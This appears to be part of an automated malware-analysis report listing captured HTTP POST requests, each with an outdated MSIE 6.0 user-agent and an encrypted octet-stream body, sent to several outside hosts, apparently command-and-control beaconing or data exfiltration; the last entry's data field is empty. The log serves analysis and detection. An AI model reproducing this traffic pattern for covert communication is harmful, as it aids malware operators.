Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.naoi-a.comCache-Control: no-cacheData Raw: 70 42 58 73 38 74 42 5a 55 42 4a 73 5a 57 47 41 59 32 4b 63 38 34 4d 78 49 70 54 34 4e 47 4e 71 42 45 62 57 54 6a 66 43 67 77 75 75 76 65 74 33 58 4d 49 56 59 67 50 66 65 47 56 54 70 55 38 67 46 42 6c 45 54 30 65 6b 57 5a 49 64 73 6e 7a 34 72 34 47 41 33 37 4c 70 59 75 67 78 77 68 54 34 6d 50 48 54 6e 46 71 31 38 31 74 35 32 43 4c 4d 34 7a 62 30 35 50 33 46 49 76 6f 4e 52 54 50 77 70 4c 6c 64 4c 70 30 31 42 58 6b 77 77 75 79 66 42 72 63 37 49 4c 54 49 52 6f 41 53 4b 44 51 38 2f 42 63 50 64 62 49 7a 6a 75 30 4e 4f 71 4c 49 47 41 50 62 6f 59 44 49 4a 75 69 6e 53 7a 49 43 4a 63 32 69 48 63 51 43 55 6e 33 67 7a 38 32 4d 79 54 54 7a 38 78 4e 42 2b 34 37 47 4a 57 43 52 35 72 67 45 70 51 44 77 2b 6a 7a 38 45 46 71 44 6e 6d 48 59 6d 31 65 36 65 65 62 31 71 4f 34 41 35 49 4c 51 4e 7a 66 6c 66 37 44 35 4c 76 52 48 6c 68 30 68 31 45 6e 31 41 6b 4a 42 30 51 71 57 5a 67 2f 61 65 38 49 50 6a 6a 72 54 7a 74 52 4c 77 79 4c 2b 6f 35 33 59 44 61 43 64 69 69 59 44 78 39 48 69 4f 54 36 62 49 45 52 6b 59 5a 66 4c 73 45 33 57 79 63 2f 68 6e 51 64 39 59 44 38 45 32 31 66 46 4a 50 43 74 55 64 6a 78 72 45 70 59 4d 2b 68 65 6b 79 33 47 71 53 58 49 76 55 79 30 4e 75 57 72 72 65 76 66 74 4e 30 4a 49 6c 53 70 63 4d 37 43 61 4b 4e 66 73 59 37 4d 39 52 67 55 47 6f 47 6a 61 70 52 4b 4d 71 56 47 69 30 49 32 4d 6c 36 67 7a 63 6d 54 67 56 74 48 68 6f 59 46 67 55 4c 59 41 32 55 5a 67 47 71 36 38 70 39 76 68 33 33 30 31 39 72 2f 43 6e 4c 63 51 4b 50 2b 79 53 43 61 4f 34 6b 6a 77 59 64 65 69 50 57 54 37 52 38 51 46 68 62 71 51 37 56 67 6e 2f 65 6a 49 45 68 69 32 74 6e 59 73 49 78 6d 71 4f 6f 6f 2b 5a 78 33 35 7a 51 3d Data Ascii: pBXs8tBZUBJsZWGAY2Kc84MxIpT4NGNqBEbWTjfCgwuuvet3XMIVYgPfeGVTpU8gFBlET0ekWZIdsnz4r4GA37LpYugxwhT4mPHTnFq181t52CLM4zb05P3FIvoNRTPwpLldLp01BXkwwuyfBrc7ILTIRoASKDQ8/BcPdbIzju0NOqLIGAPboYDIJuinSzICJc2iHcQCUn3gz82MyTTz8xNB+47GJWCR5rgEpQDw+jz8EFqDnmHYm1e6eeb1qO4A5ILQNzflf7D5LvRHlh0h1En1AkJB0QqWZg/ae8IPjjrTztRLwyL+o53YDaCdiiYDx9HiOT6bIERkYZfLsE3Wyc/hnQd9YD8E21fFJPCtUdjxrEpYM+heky3GqSXIvUy0NuWrrevftN0JIlSpcM7CaKNfsY7M9RgUGoGjapRKMqVGi0I2Ml6gzcmTgVtHhoYFgULYA2UZgGq68p9vh33019r/CnLcQKP+ySCaO4kjwYdeiPWT7R8QFhbqQ7Vgn/ejIEhi2tnYsIxmqOoo+Zx35zQ=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 528User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.t-tre.comCache-Control: no-cacheData Raw: 79 79 51 54 39 47 4a 6a 55 42 4a 75 42 34 46 58 31 51 75 76 35 75 58 2b 69 4d 33 79 79 6d 72 7a 74 71 2b 42 2f 78 48 4d 6a 53 59 6e 70 62 34 47 49 6a 48 55 79 50 66 54 61 41 34 55 61 4c 32 79 78 71 56 32 76 68 59 41 56 46 75 63 55 58 58 35 59 43 33 50 36 58 73 74 6d 79 51 78 77 72 36 6c 75 5a 56 6f 36 74 49 4e 4d 61 66 2b 45 45 68 41 68 73 52 59 41 53 57 4d 78 5a 76 70 2f 73 34 57 36 6b 69 75 6c 6c 46 46 65 42 55 4f 45 2f 69 46 4b 41 6a 72 4d 34 63 68 71 6e 4d 58 77 57 76 44 77 54 38 39 39 2b 57 58 67 35 70 50 6a 36 4d 58 64 6b 58 58 6e 67 72 51 51 6b 49 4a 78 75 31 2f 34 55 55 5a 4e 38 32 48 73 59 50 67 73 52 36 73 53 4f 41 2b 5a 45 4a 54 70 49 64 66 67 76 5a 45 67 61 76 2f 65 45 4d 6c 6c 57 46 5a 34 6e 55 6a 77 70 46 46 6b 39 63 76 36 4c 38 46 44 30 32 43 36 76 79 54 36 34 70 54 38 61 59 55 36 74 42 45 66 42 2f 30 6f 33 52 62 4d 67 49 36 36 66 62 32 45 51 41 6f 65 36 6e 6d 6b 70 54 57 77 34 79 66 65 7a 48 5a 77 33 62 79 78 39 36 63 32 4c 35 4a 6c 6b 59 6f 4f 62 4a 47 44 42 71 4c 46 47 43 45 6c 47 6a 45 58 7a 6e 6c 66 4d 4e 46 56 5a 61 41 36 6e 56 50 75 69 52 4c 6c 67 50 34 39 62 43 43 35 43 58 32 48 65 6a 68 68 4e 6f 67 5a 74 39 71 56 6f 48 39 69 41 48 45 37 4e 49 73 67 6e 39 75 42 78 4d 77 59 47 7a 59 39 41 2f 41 33 6c 65 56 34 6c 6c 42 59 65 71 2b 49 43 67 76 35 69 54 77 77 4c 53 62 4c 39 35 4f 59 6b 51 4c 6d 34 6d 69 4a 47 79 47 6d 67 79 30 35 58 32 43 38 44 74 52 73 68 35 39 63 58 47 77 39 74 4b 32 33 38 4b 48 53 58 4d 4d 4b 4c 79 34 74 39 6e 44 46 34 59 75 42 37 36 36 63 75 32 55 4c 5a 73 70 7a 76 38 44 56 31 65 70 6f 65 76 6b 38 7a 6b 34 6d 79 65 5a Data Ascii: yyQT9GJjUBJuB4FX1Quv5uX+iM3yymrztq+B/xHMjSYnpb4GIjHUyPfTaA4UaL2yxqV2vhYAVFucUXX5YC3P6XstmyQxwr6luZVo6tINMaf+EEhAhsRYASWMxZvp/s4W6kiullFFeBUOE/iFKAjrM4chqnMXwWvDwT899+WXg5pPj6MXdkXXngrQQkIJxu1/4UUZN82HsYPgsR6sSOA+ZEJTpIdfgvZEgav/eEMllWFZ4nUjwpFFk9cv6L8FD02C6vyT64pT8aYU6tBEfB/0o3RbMgI66fb2EQAoe6nmkpTWw4yfezHZw3byx96c2L5JlkYoObJGDBqLFGCElGjEXznlfMNFVZaA6nVPuiRLlgP49bCC5CX2HejhhNogZt9qVoH9iAHE7NIsgn9uBxMwYGzY9A/A3leV4llBYeq+ICgv5iTwwLSbL95OYkQLm4miJGyGmgy05X2C8DtRsh59cXGw9tK238KHSXMMKLy4t9nDF4YuB766cu2ULZspzv8DV1epoevk8zk4myeZ
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wnsavoy.comCache-Control: no-cacheData Raw: 2b 50 43 4c 62 6c 5a 68 32 52 4a 54 64 6f 57 32 4d 53 69 6e 54 2f 6c 51 6e 4e 7a 32 6b 61 58 54 36 71 71 55 68 6d 2b 59 57 56 57 6d 2f 31 38 52 63 31 6f 74 54 69 6e 51 59 2b 62 4d 2b 49 2f 37 75 38 73 39 36 6e 63 6b 31 68 41 77 38 59 78 2b 59 4a 57 67 4d 35 57 37 62 70 30 72 66 7a 33 6b 70 4e 78 63 57 39 4b 70 44 64 50 35 6b 50 4a 51 57 58 6a 41 6b 6a 51 4b 50 50 70 36 79 6d 37 35 57 4c 5a 73 53 53 65 39 74 53 37 52 37 61 6a 65 42 4b 51 6d 67 4f 6b 78 30 66 77 53 6c 33 34 73 57 50 74 44 36 56 4c 39 77 36 36 75 37 39 66 4a 77 71 42 36 73 52 34 72 2b 74 4f 67 6e 4d 56 57 4b 79 62 76 32 55 6c 44 35 55 45 68 49 61 70 6b 36 38 65 4f 69 57 65 34 39 68 42 63 75 47 4e 50 50 72 4b 38 74 67 6a 61 63 67 2f 41 52 79 41 47 52 43 43 66 57 52 42 56 4c 6b 41 6f 52 77 5a 51 70 78 78 52 37 78 58 57 30 56 66 4c 5a 76 48 67 4b 4b 6c 31 5a 49 45 44 33 71 68 33 58 77 6f 4a 44 33 6e 6f 72 39 30 6d 67 59 2f 39 37 64 39 48 56 76 52 41 56 5a 69 53 52 34 56 2f 33 4f 59 36 56 53 54 36 34 4a 43 74 4b 63 63 5a 39 66 62 6d 55 52 59 4d 50 36 61 79 32 7a 58 78 58 39 33 58 43 47 55 41 50 32 45 4d 4e 6b 6c 4e 67 44 53 67 49 76 7a 59 46 39 6a 37 4c 70 73 4b 79 6d 45 46 37 64 6f 49 77 48 43 71 56 58 77 66 53 6f 59 61 64 4e 34 4b 47 36 6c 6d 76 4e 77 71 45 53 5a 37 53 7a 78 61 4d 49 46 52 45 6e 6f 58 43 4c 48 69 4a 53 72 2f 6d 53 44 71 6a 6e 51 69 4c 30 63 65 59 45 63 64 58 52 35 4c 31 43 36 39 79 6f 78 79 4d 49 43 34 56 6c 6b 48 53 62 6a 70 32 48 4a 76 35 63 39 76 73 6d 42 67 35 39 45 79 59 6b 6f 53 5a 4b 54 45 47 30 55 5a 4c 31 49 74 35 52 61 69 6e 30 41 64 4a 2f 36 67 6c 64 6f 6c 72 6c 70 35 41 63 57 2f 52 71 45 71 6a 30 54 47 34 63 6d 6e 72 47 50 6c 4b 33 70 72 79 57 32 2f 4f 2f 32 69 66 52 51 3d Data Ascii: +PCLblZh2RJTdoW2MSinT/lQnNz2kaXT6qqUhm+YWVWm/18Rc1otTinQY+bM+I/7u8s96nck1hAw8Yx+YJWgM5W7bp0rfz3kpNxcW9KpDdP5kPJQWXjAkjQKPPp6ym75WLZsSSe9tS7R7ajeBKQmgOkx0fwSl34sWPtD6VL9w66u79fJwqB6sR4r+tOgnMVWKybv2UlD5UEhIapk68eOiWe49hBcuGNPPrK8tgjacg/ARyAGRCCfWRBVLkAoRwZQpxxR7xXW0VfLZvHgKKl1ZIED3qh3XwoJD3nor90mgY/97d9HVvRAVZiSR4V/3OY6VST64JCtKccZ9fbmURYMP6ay2zXxX93XCGUAP2EMNklNgDSgIvzYF9j7LpsKymEF7doIwHCqVXwfSoYadN4KG6lmvNwqESZ7SzxaMIFREnoXCLHiJSr/mSDqjnQiL0ceYEcdXR5L1C69yoxyMIC4VlkHSbjp2HJv5c9vsmBg59EyYkoSZKTEG0UZL1It5Rain0AdJ/6gldolrlp5AcW/RqEqj0TG4cmnrGPlK3pryW2/O/2ifRQ=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.2print.comCache-Control: no-cacheData Raw: 2f 65 77 6d 77 47 63 4b 57 31 30 78 34 58 4d 59 46 6f 52 43 52 44 41 4a 72 79 66 64 59 70 45 57 69 34 79 63 4f 36 2f 59 72 65 4c 36 52 61 59 56 38 4b 4c 54 79 6c 41 44 32 45 48 50 78 62 32 58 45 76 59 49 35 59 71 6c 32 56 55 4b 69 61 48 74 4e 31 31 75 52 55 78 75 47 54 30 57 74 2b 49 68 39 59 46 35 5a 36 79 48 65 6e 61 57 67 77 4f 4c 6f 4c 73 75 41 6f 71 75 2b 7a 65 64 35 44 33 4a 30 45 78 6d 46 42 75 33 76 43 35 35 38 79 4a 4f 59 6a 79 37 35 42 4c 66 4a 45 74 56 5a 48 4c 33 4e 61 78 52 31 30 6b 74 32 73 6c 7a 59 45 61 72 39 43 64 32 73 49 63 39 79 70 32 48 64 2b 51 41 5a 42 66 72 44 32 44 77 52 64 51 71 4e 37 6e 74 58 53 74 6f 36 51 4c 46 57 4c 37 55 51 78 64 71 47 38 35 36 67 31 39 75 47 48 79 51 68 6f 4c 68 45 6c 2b 4c 36 6a 43 6f 69 36 4e 61 79 2f 4d 4e 79 36 58 31 77 63 4f 79 68 76 76 6f 7a 36 76 54 64 6d 6b 71 6e 4a 41 51 67 59 52 2f 4a 35 5a 42 67 6b 77 48 66 65 5a 55 50 2f 63 36 55 71 51 37 57 30 41 2b 62 62 7a 4c 62 42 44 63 77 62 67 6e 7a 34 35 45 50 58 6f 46 6f 33 79 32 46 67 4b 4d 72 36 37 6f 58 32 45 5a 66 44 44 69 67 55 59 39 2b 77 65 38 30 39 6a 77 71 4e 6c 58 37 42 39 77 49 37 54 32 6c 45 4c 6e 56 56 6b 73 6e 76 72 5a 6d 63 4c 6d 6e 37 78 34 56 66 71 56 38 58 63 2f 62 79 75 47 45 74 4e 6f 6f 33 75 64 4e 52 49 67 4c 31 30 2b 31 69 76 4d 52 54 4d 6a 62 73 57 2f 72 77 6b 43 41 38 43 38 52 7a 68 56 53 54 72 71 7a 57 45 45 4f 64 68 49 6f 54 78 64 69 58 2f 42 2b 30 30 4f 45 49 64 61 49 30 7a 6a 54 46 4e 70 73 34 66 2b 73 4d 65 63 52 67 4c 76 43 72 37 65 57 62 4c 48 30 79 42 50 41 51 41 54 61 73 52 38 33 36 54 4c 61 6a 71 56 4e 6e 54 53 69 67 42 37 49 69 70 4c 68 74 51 66 38 6d 63 62 51 4a 72 65 78 36 58 6c 73 63 55 71 37 4b 45 2b 61 4b 61 74 43 6c 41 6a 4c 38 59 50 76 55 6f 55 30 77 3d 3d Data Ascii: /ewmwGcKW10x4XMYFoRCRDAJryfdYpEWi4ycO6/YreL6RaYV8KLTylAD2EHPxb2XEvYI5Yql2VUKiaHtN11uRUxuGT0Wt+Ih9YF5Z6yHenaWgwOLoLsuAoqu+zed5D3J0ExmFBu3vC558yJOYjy75BLfJEtVZHL3NaxR10kt2slzYEar9Cd2sIc9yp2Hd+QAZBfrD2DwRdQqN7ntXSto6QLFWL7UQxdqG856g19uGHyQhoLhEl+L6jCoi6Nay/MNy6X1wcOyhvvoz6vTdmkqnJAQgYR/J5ZBgkwHfeZUP/c6UqQ7W0A+bbzLbBDcwbgnz45EPXoFo3y2FgKMr67oX2EZfDDigUY9+we809jwqNlX7B9wI7T2lELnVVksnvrZmcLmn7x4VfqV8Xc/byuGEtNoo3udNRIgL10+1ivMRTMjbsW/rwkCA8C8RzhVSTrqzWEEOdhIoTxdiX/B+00OEIdaI0zjTFNps4f+sMecRgLvCr7eWbLH0yBPAQATasR836TLajqVNnTSigB7IipLhtQf8mcbQJrex6XlscUq7KE+aKatClAjL8YPvUoU0w==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.sjbs.orgCache-Control: no-cacheData Raw: 47 34 4f 65 61 57 51 34 32 52 4b 41 48 49 34 67 2f 36 69 79 50 7a 64 52 32 68 6f 63 32 66 4b 32 32 4e 73 6f 68 55 78 77 59 34 7a 30 32 70 56 69 32 72 51 73 36 4b 4c 2f 49 51 52 35 68 6c 49 58 45 38 54 71 65 6a 68 72 6e 71 4b 79 49 47 54 74 42 48 52 38 48 57 54 4b 6e 37 39 53 57 6f 43 42 72 66 67 64 42 58 6a 51 4f 67 45 6d 44 6a 30 51 54 4d 35 65 7a 35 61 4b 2b 62 69 49 4e 32 54 76 33 31 43 71 67 72 71 7a 70 38 36 55 56 4a 58 54 4c 45 48 30 78 58 68 2b 69 4f 41 5a 30 2b 50 41 50 74 62 43 6a 34 45 33 6f 57 68 6f 36 78 49 6b 41 48 30 62 52 46 65 57 42 67 6c 74 32 75 79 6a 48 49 57 44 52 37 72 34 6b 33 53 6f 6f 4e 4c 35 56 37 71 61 4c 59 69 75 4f 52 4b 54 58 41 65 36 4f 51 71 78 4a 67 4c 31 59 45 70 30 47 6c 62 65 4f 59 32 67 68 4b 69 48 48 43 43 57 4b 79 34 64 57 79 6b 77 51 42 54 74 78 38 73 51 4e 5a 73 64 56 4c 55 70 4c 68 45 4a 2b 6d 6f 72 4c 77 30 62 6b 49 4d 4d 38 7a 49 46 64 58 4b 54 36 5a 4f 61 7a 41 65 79 76 42 48 52 41 6d 72 34 39 41 6e 75 71 51 44 4d 48 73 4a 44 41 67 31 73 2b 68 33 66 4b 72 4b 71 48 53 73 58 56 37 65 2f 34 30 66 6d 43 44 68 54 37 34 36 55 41 34 35 4e 6f 66 68 31 72 57 5a 45 4c 57 4a 59 75 36 57 74 44 6f 4b 65 64 6c 77 53 65 30 4f 36 31 79 4f 42 43 37 55 73 59 62 51 63 6f 6f 37 5a 7a 7a 45 76 2f 4d 2f 63 44 45 75 5a 5a 4f 70 63 31 59 75 46 31 63 68 65 41 70 74 4d 5a 77 69 41 64 51 71 76 53 39 33 55 77 55 65 4d 6e 74 42 72 79 49 43 4a 55 73 79 4d 6b 6e 70 42 61 79 6c 50 70 6f 37 35 4f 46 74 77 47 6c 59 6e 6f 4b 42 4b 32 6a 54 2f 2b 6d 34 75 78 73 63 77 56 77 49 7a 53 70 71 68 70 35 44 65 6a 38 70 55 55 6d 2f 38 59 37 42 71 68 72 36 35 30 39 42 31 55 50 57 35 4c 5a 52 6c 41 53 2f 4e 34 78 75 6d 6a 58 43 54 46 56 76 46 47 57 41 47 62 6e 4a 59 33 6a 39 6e 48 62 6a 31 39 38 4e 72 4f 51 3d 3d Data Ascii: G4OeaWQ42RKAHI4g/6iyPzdR2hoc2fK22NsohUxwY4z02pVi2rQs6KL/IQR5hlIXE8TqejhrnqKyIGTtBHR8HWTKn79SWoCBrfgdBXjQOgEmDj0QTM5ez5aK+biIN2Tv31Cqgrqzp86UVJXTLEH0xXh+iOAZ0+PAPtbCj4E3oWho6xIkAH0bRFeWBglt2uyjHIWDR7r4k3SooNL5V7qaLYiuORKTXAe6OQqxJgL1YEp0GlbeOY2ghKiHHCCWKy4dWykwQBTtx8sQNZsdVLUpLhEJ+morLw0bkIMM8zIFdXKT6ZOazAeyvBHRAmr49AnuqQDMHsJDAg1s+h3fKrKqHSsXV7e/40fmCDhT746UA45Nofh1rWZELWJYu6WtDoKedlwSe0O61yOBC7UsYbQcoo7ZzzEv/M/cDEuZZOpc1YuF1cheAptMZwiAdQqvS93UwUeMntBryICJUsyMknpBaylPpo75OFtwGlYnoKBK2jT/+m4uxscwVwIzSpqhp5Dej8pUUm/8Y7Bqhr6509B1UPW5LZRlAS/N4xumjXCTFVvFGWAGbnJY3j9nHbj198NrOQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pcgrate.comCache-Control: no-cacheData Raw: 6a 38 66 2f 41 72 53 44 35 68 4b 76 63 78 2f 71 44 31 73 78 35 77 66 4a 4d 5a 53 73 7a 6e 42 74 4b 50 78 31 39 49 2f 48 4a 51 58 61 71 4c 33 50 50 7a 66 75 2f 33 34 47 4e 2b 5a 55 72 31 71 73 35 65 2b 79 59 34 79 68 4c 33 35 71 7a 67 50 77 31 43 6e 33 73 62 53 54 67 6b 78 2f 6b 72 51 47 66 66 59 6e 66 70 78 47 4a 6f 7a 66 4b 55 33 7a 48 76 75 69 46 63 44 4e 73 6b 34 65 2f 44 35 76 37 36 48 41 7a 50 31 53 41 41 33 4e 51 48 6b 49 69 48 37 6a 4a 77 47 65 50 31 73 57 38 77 36 4d 71 39 31 71 5a 49 47 45 42 77 58 47 35 6e 72 69 62 6a 64 7a 6f 5a 55 65 71 58 5a 73 70 41 72 54 45 52 6a 6d 4b 43 2f 37 6e 64 36 2f 77 31 70 2b 77 7a 36 6e 59 66 38 49 64 67 46 51 73 49 39 57 57 6a 69 62 30 4b 6a 71 31 39 61 72 42 37 62 55 59 47 71 2f 56 7a 79 43 56 6f 72 4e 4c 37 31 6b 79 4f 78 49 79 75 39 42 36 4b 38 4e 41 34 64 66 31 68 68 2f 32 56 63 65 61 62 59 58 4a 71 6b 46 4c 43 6a 49 66 77 36 46 59 75 6a 36 4b 73 67 2f 4d 2f 34 7a 35 45 4a 51 6b 41 46 6f 44 77 35 30 4e 72 41 71 79 46 43 2b 68 6d 59 47 61 47 64 6e 52 55 53 30 6d 65 55 36 76 73 63 6a 64 73 78 4c 57 34 77 44 63 59 57 2f 59 4d 45 31 76 6a 2f 79 45 48 54 59 39 70 64 58 4f 51 47 52 51 42 2f 56 72 4a 56 76 41 67 2b 6f 41 66 6d 2b 2b 55 69 33 52 4c 62 55 51 58 37 72 4b 71 30 56 48 51 62 61 58 43 42 58 51 6d 63 45 68 63 59 79 50 4b 49 34 6b 4a 67 54 78 58 4d 2f 75 37 6e 5a 5a 67 57 46 59 34 71 69 61 34 6f 43 47 36 6e 54 4d 38 66 6b 42 49 77 52 77 38 4d 4b 76 46 2f 47 2b 61 5a 35 6a 54 5a 45 4b 52 35 72 70 46 6e 39 45 35 4e 70 73 64 43 37 64 6f 6d 64 2b 74 33 70 74 77 68 56 76 35 39 6d 75 75 53 55 34 6a 66 76 6b 51 59 2f 56 51 34 57 74 5a 65 74 32 73 55 4f 64 41 35 63 43 58 69 43 69 79 4f 48 57 50 54 46 5a 43 42 49 4b 44 75 6c 33 63 59 4f 7a 2b 48 78 63 46 30 67 46 51 3d 3d Data Ascii: j8f/ArSD5hKvcx/qD1sx5wfJMZSsznBtKPx19I/HJQXaqL3PPzfu/34GN+ZUr1qs5e+yY4yhL35qzgPw1Cn3sbSTgkx/krQGffYnfpxGJozfKU3zHvuiFcDNsk4e/D5v76HAzP1SAA3NQHkIiH7jJwGeP1sW8w6Mq91qZIGEBwXG5nribjdzoZUeqXZspArTERjmKC/7nd6/w1p+wz6nYf8IdgFQsI9WWjib0Kjq19arB7bUYGq/VzyCVorNL71kyOxIyu9B6K8NA4df1hh/2VceabYXJqkFLCjIfw6FYuj6Ksg/M/4z5EJQkAFoDw50NrAqyFC+hmYGaGdnRUS0meU6vscjdsxLW4wDcYW/YME1vj/yEHTY9pdXOQGRQB/VrJVvAg+oAfm++Ui3RLbUQX7rKq0VHQbaXCBXQmcEhcYyPKI4kJgTxXM/u7nZZgWFY4qia4oCG6nTM8fkBIwRw8MKvF/G+aZ5jTZEKR5rpFn9E5NpsdC7domd+t3ptwhVv59muuSU4jfvkQY/VQ4WtZet2sUOdA5cCXiCiyOHWPTFZCBIKDul3cYOz+HxcF0gFQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.reglera.comCache-Control: no-cacheData Raw: 72 69 35 34 53 77 30 78 63 46 32 4b 34 2f 64 71 68 4a 2f 78 65 4d 59 30 32 53 31 37 62 62 6c 31 6b 58 4c 73 64 31 77 55 58 36 7a 34 6f 6a 44 32 38 33 51 2b 51 5a 57 44 37 53 62 41 50 45 4b 47 76 59 67 61 78 36 48 78 74 66 35 51 68 70 49 6f 78 4c 4d 55 62 57 74 4d 33 51 49 57 38 6a 2b 36 57 76 6c 59 32 55 6a 6b 31 57 49 6f 33 48 49 79 31 58 79 7a 5a 35 55 56 45 73 32 70 76 50 36 33 52 4d 32 35 78 39 39 41 54 35 56 44 66 51 2f 4e 5a 6c 41 63 41 4a 4c 4a 6c 57 34 67 58 6b 68 43 5a 59 69 74 73 6f 48 6e 70 6c 72 33 58 77 47 58 72 56 71 4a 4d 56 48 69 46 71 4d 68 33 32 67 63 4f 59 59 62 64 2f 58 74 75 62 69 70 59 73 59 44 4c 77 65 32 37 70 41 57 32 30 68 36 35 59 75 38 70 4f 39 57 77 6f 79 77 39 71 72 42 5a 6d 67 69 68 71 38 75 6c 6e 6b 52 4e 6f 6b 43 30 4d 77 32 76 39 47 2f 51 64 65 4d 35 39 78 47 32 2b 5a 61 48 39 35 47 39 77 4d 4d 53 67 4e 37 71 50 56 52 56 4d 6a 66 50 44 76 66 4e 52 34 45 62 78 78 49 6f 54 5a 78 78 43 61 53 6a 43 53 65 72 78 38 37 6f 66 51 43 78 6a 30 6d 2f 66 35 58 41 57 6d 2b 6c 68 49 67 55 70 38 6b 76 6f 58 4f 6f 74 53 73 67 77 72 36 74 35 49 74 43 5a 35 57 4c 65 74 34 5a 49 54 73 53 69 55 4b 49 66 59 51 63 51 6f 63 45 75 45 70 49 64 47 71 42 32 6b 4d 6a 70 4b 64 34 66 43 2f 49 30 57 33 31 63 56 5a 47 6b 38 2f 47 67 37 64 6d 46 6f 32 4c 6d 52 58 4e 7a 37 66 64 72 57 37 37 42 74 56 4e 6e 70 53 2f 53 59 2b 31 4f 68 61 39 76 6a 50 6d 77 33 32 62 75 48 50 76 2f 4a 4f 64 6c 69 6e 67 54 4a 5a 66 53 48 33 64 56 70 75 55 6a 52 56 35 48 4b 62 45 6d 6b 58 6c 6a 58 43 6d 2f 58 4d 72 35 73 42 69 77 48 66 53 66 61 35 34 4b 64 31 6f 34 78 75 39 56 34 7a 4b 6d 6e 43 64 54 75 44 57 35 6e 75 43 30 66 79 4e 76 4f 69 6b 67 3d 3d Data Ascii: ri54Sw0xcF2K4/dqhJ/xeMY02S17bbl1kXLsd1wUX6z4ojD283Q+QZWD7SbAPEKGvYgax6Hxtf5QhpIoxLMUbWtM3QIW8j+6WvlY2Ujk1WIo3HIy1XyzZ5UVEs2pvP63RM25x99AT5VDfQ/NZlAcAJLJlW4gXkhCZYitsoHnplr3XwGXrVqJMVHiFqMh32gcOYYbd/XtubipYsYDLwe27pAW20h65Yu8pO9Wwoyw9qrBZmgihq8ulnkRNokC0Mw2v9G/QdeM59xG2+ZaH95G9wMMSgN7qPVRVMjfPDvfNR4EbxxIoTZxxCaSjCSerx87ofQCxj0m/f5XAWm+lhIgUp8kvoXOotSsgwr6t5ItCZ5WLet4ZITsSiUKIfYQcQocEuEpIdGqB2kMjpKd4fC/I0W31cVZGk8/Gg7dmFo2LmRXNz7fdrW77BtVNnpS/SY+1Oha9vjPmw32buHPv/JOdlingTJZfSH3dVpuUjRV5HKbEmkXljXCm/XMr5sBiwHfSfa54Kd1o4xu9V4zKmnCdTuDW5nuC0fyNvOikg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.kernsafe.comCache-Control: no-cacheData Raw: 34 4a 63 41 4c 34 54 78 35 78 4c 71 2f 78 70 56 6e 38 39 55 4d 6c 63 4c 47 73 36 38 32 4e 2f 38 2b 4a 36 72 64 6f 4b 70 34 49 33 4c 45 46 54 2b 7a 78 49 31 4e 55 67 69 71 31 71 45 76 2b 67 64 6c 35 52 79 61 34 30 4f 46 4d 51 57 74 73 6e 53 43 77 34 67 64 68 53 55 59 2f 6c 68 47 35 77 52 4d 4c 37 75 30 37 6f 44 61 72 4c 64 47 66 73 2b 79 6e 43 33 4d 38 55 59 38 49 4b 62 78 72 78 43 35 78 30 6c 5a 71 53 74 45 62 6d 70 72 53 52 45 78 44 48 62 71 71 62 78 39 52 79 62 36 48 62 4e 36 63 35 48 6a 78 35 78 54 61 5a 4a 55 32 39 50 47 2b 2b 35 37 33 39 78 2f 51 39 4a 38 4d 42 42 39 4b 49 6d 54 58 64 7a 62 65 53 69 41 50 33 66 43 48 7a 5a 6d 54 52 7a 65 49 51 50 74 78 71 75 64 46 55 4b 78 37 4e 66 33 6d 62 4f 4d 39 79 71 69 4a 49 44 35 68 6d 35 2f 53 78 77 77 67 6e 63 30 50 30 4d 78 39 31 30 38 32 53 31 31 38 51 6f 73 6c 2b 77 52 61 69 6a 7a 52 72 69 39 39 74 56 55 77 35 56 43 4a 4e 43 51 49 71 70 6f 75 4e 37 2b 73 74 47 72 73 50 68 31 44 53 49 33 58 62 65 4d 79 33 59 2b 6e 63 73 65 30 52 63 78 50 43 35 59 30 64 34 57 52 4c 32 6a 33 39 6a 4a 66 4e 56 7a 63 50 71 71 76 36 2f 46 4f 50 78 36 47 32 4f 53 77 68 64 78 67 47 53 79 43 64 36 74 67 59 4c 4c 74 64 51 55 76 6d 32 76 6d 55 52 41 50 51 2f 74 39 37 59 67 72 4e 71 61 70 61 73 69 41 50 36 42 4a 4a 37 2f 67 61 79 50 41 6a 41 79 44 44 4c 4c 31 6b 4b 66 78 65 55 58 33 6f 70 61 4d 46 78 48 39 50 51 32 59 63 67 56 7a 70 50 46 37 49 72 64 42 38 48 43 47 65 59 36 4e 75 75 32 65 38 46 50 6c 6b 4a 2b 54 7a 61 70 38 75 43 77 49 64 67 4b 36 4c 53 68 44 70 6c 69 79 78 53 7a 4a 4f 58 61 34 52 52 2b 30 36 44 74 4c 76 38 4a 31 38 6f 35 67 76 59 Data Ascii: 